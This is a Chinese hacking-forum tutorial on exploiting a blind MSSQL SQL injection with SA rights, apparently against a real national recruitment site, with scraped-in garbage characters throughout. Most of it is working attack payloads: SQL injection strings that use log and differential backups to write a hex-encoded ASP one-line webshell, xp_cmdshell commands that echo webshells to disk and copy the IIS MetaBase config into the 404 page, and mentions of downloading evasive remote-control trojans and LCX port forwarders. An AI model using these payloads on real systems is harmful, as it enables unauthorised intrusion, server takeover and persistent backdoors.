sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————

2 o8 ^$ h2 {" X* D9 d# o  B
* q* D" N5 t- ^- M                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
, C% A$ a% s* {* l; P
) `+ Q: J' V5 y                                                                 
                                                                 
                                                                  论坛： http://www.90team.net/

. c) N  a! m* e, ?% ~/ a4 ?9 U! K
' e' J2 ^- E- ~3 E0 W8 _- R# p2 \
% {$ `+ N2 A1 T) L* y6 i友情检测国家人才网
/ `% Y& p% {* Q' l4 ]

! I. Y) Y! k, R0 |内容：MSSQL注入SA权限不显错模式下的入侵


( ^/ G" e' B9 {. |; U- e一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
1 V  O. s; U6 w  X. H0 I
我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
8 P& Y$ i- e( F8 \  o$ ~
/ F4 k' K* S" V! A
( P" {% m! @4 S9 n$ \% c0 u这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
1 y3 L1 x6 F6 `" v) `( E4 U7 {
) s# O# [+ W6 \( s4 N3 j8 V9 {6 D思路：
  [: `: k% J( o( Q) m8 @
首先：

通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
; p2 O! z, P9 C# \
1.日志备份获得Webshell

2.数据库差异备份获得Webshell

4.直接下载免杀远控木马。

  i/ K, m% d) i5.直接下载LCX将服务器端口转发出来
* Z, r0 R8 J: q3 M) s8 O* h
& u8 ~. {; J& e2 s. |( Q0 B2 w6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
( H6 T' E/ n/ C1 U, [7 u( z& W( q
" I$ z% B0 f3 i9 L1 D0 |

在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，

. U& }6 E( b  n" u我直接演示后面一个方法
/ p# J! z, T) e
- C1 E% a. n, C2 A' [' J2 {
分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL

. [$ V, g. X4 I& ?
) z% H6 f1 ~: {3 ^9 q0 j, {
. K8 d+ j  G: r; S* a. N
# o; M  X) s, ?+ x- ~◆日志备份：

2 Y8 z+ _. s9 w: @' a. B. u2 G7 z
1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

0 C9 ]; N$ C/ s( c* o, p6 M2 M2. 插入数据
1 P+ ?. }; t$ D7 L1 x;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
5 o7 ?% E  }2 I, r8 ?' y' ]! p
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
( \* {4 K4 p! Y! U2 `- D  
! V. [* u  ]! a4 |( g3. 备份并获得文件，删除临时表
9 c9 s6 }# g9 n" Y3 T;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
$ a; d2 ]/ g3 |3 C6 E: _0 ~
* q  F- `1 z7 I

+ Z$ _& e0 E3 O, w2 i2 p◆数据库差异备份

（1. 进行差异备份准备工作
9 F. n0 x- e" [% L) L- T
;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
; q' h; t: e6 ~4 n! [" m$ `( N
. x. S5 m( j, |2 V上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码


" ~7 \" R4 ], x4 R8 o8 \2 X# w/ r（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
5 l. a  p8 ]( J5 g% V6 j/ k
. Q: ]! y& _* z' e0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>

0 C1 r% s" @; `. @5 i  |0 x3. 备份数据库并清理临时文件
) Z0 F5 l7 l- t
# |5 U5 P. b4 p;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
) l8 v8 i$ v, Q6 t; i2 h
0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
' y1 a( }; C) H& U


用^转义字符来写ASP(一句话木马)文件的方法:   

  J7 Z" p: {! f% V4 y; i1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
! F( \2 n) Y+ q; ~  u1 `" p
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

: M5 Y, W- z1 L- s9 [% \读取IIS配置信息获取web路径
3 s# I) i2 @. L3 ]8 G
$ s2 f) {9 V) H$ l2 ~/ [6 J     
  z! C$ e0 Y+ G; x9 T. y$ `: @1 ^9 \     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
' j7 K0 f5 Z0 K! j/ a, X
7 i5 W2 L7 z6 s' O执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
$ y3 Q! W) l- L0 N* u1 ?6 h+ D8 d9 r
/ ~3 y" ~, S0 p, v  J
+ i( M7 |) `* R/ z/ k


: U! m' ]+ e* R4 D! h

; M8 N& ~3 C+ {
& X, V* H: J! m" O1 S% C+ s" V1 K
% h/ j+ a8 x# V1 B

7 v5 F* g' |, z6 s
5 p/ t* o4 Z/ H0 z% Z& L; z
+ r( e0 w- Z3 o3 R  b( p& O1 Q: t
6 f+ Y. n, }2 ^5 W( I2 l
8 a( s& W7 U5 }  a
  u, @  i- m6 ~2 k" f2 z7 x5 K

9 U( y+ a+ M! Q) X+ G


0 \) b1 K4 x- b: C
$ |! y- q. o, k3 R

4 }& W' k) W: B$ p7 k/ ]- ?
* e  V- ?* q0 k( a& F6 q
$ L* `1 r6 s) C7 |! z


! ~4 n& k; H' N! y
; B' T3 ]7 U, k

! e3 g- E9 g; i9 Z2 k% m



' V: J4 ?, U: w1 P
9 J; q/ F3 u) w4 k- R% {- g8 G7 S& c, Z



4 x4 G& c+ q" U4 m0 U2 w3 w4 b2 O





+ a+ f; v0 p2 Z" w' d0 n4 o: R